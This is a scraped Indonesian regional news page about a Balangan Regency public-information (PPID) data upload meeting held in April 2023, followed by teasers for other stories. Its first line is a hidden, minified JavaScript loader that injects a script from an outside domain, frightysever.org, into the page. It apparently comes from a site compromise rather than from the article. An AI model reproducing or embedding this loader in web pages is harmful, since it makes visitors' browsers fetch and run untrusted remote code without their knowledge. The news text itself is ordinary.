(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Pejabat Pengelola Informasi dan Dokumentasi (PPID) utama Kabupaten Balangan menggelar rapat upload Data Informasi Publik (DIP) tahun 2023, Senin (10/4/2023), di kantor Diskominfosan Balangan.
Kegiatan dibuka Kepala Dinas Komunikasi, Informatika, Statistik dan Persandian (Diskominfosan) Kabupaten Balangan M Noor. Kegiatan dilaksanakan selama tiga hari serta diikuti dari 31 Satuan Kerja Perangkat Daerah (SKPD) yang terbagi dalam tiga kelompok setiap pelaksanaan rapat tersebut.
Sekretaris Diskominfosan Balangan Abdul Basyid menekankan, betapa pentingnya koordinasi rutin dan kerja sama antara PPID utama dan PPID pembantu, agar tetap terus memberikan layanan informasi terbaik kepada masyarakat, dalam mewujudkan keterbukaan informasi publik yang terpadu dan terintegrasi.
“Ada tiga kategori data informasi yang diperbolehkan untuk diupload untuk penyebaran informasi kepada masyarakat, yaitu informasi yang wajib disediakan dan diumumkan secara berkala, informasi yang diumumkan secara serta merta dan informasi yang wajib tersedia setiap saat,” ungkap PPID utama Kabupaten Balangan ini.
Baca juga: Kuldesak
Sementara itu, Analis Penyuluhan dan Layanan Informasi Diskominfosan Kabupaten Balangan Wahyu Suprianto mengatakan, kegiatan ini merupakan agenda rutin yang dilaksanakan setiap tahun, dengan mengikutsertakan seluruh SKPD untuk upload data PPID utama.
Rapat upload data informasi publik ini dilakukan sebagai pembaharuan data dengan tujuan untuk mewujudkan data yang akurat, terkini, terpadu, sehingga masyarakat dapat menerima informasi sesuai dengan yang diinginkan.
“Tujuan dari kegiatan rapat ini untuk meremajakan data-data yang sudah lama tahun 2022 dan kita jadikan ke data tahun 2023,” tambahnya.
Selain sebagai rutinitas koordinasi berkala, kegiatan ini bagian dari monitoring dan evaluasi PPID utama kepada PPID pembantu terkait kapasitas kelembagaan dan pelayanan informasi publik.
“Harapannya agar semua data PPID dan data SKPD tercukupi, sehingga masyarakat yang meminta data dapat terlayani dengan baik,” tukasnya. (Kanalkalimantan.com/adv)
Reporter : adv
Editor : kk
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.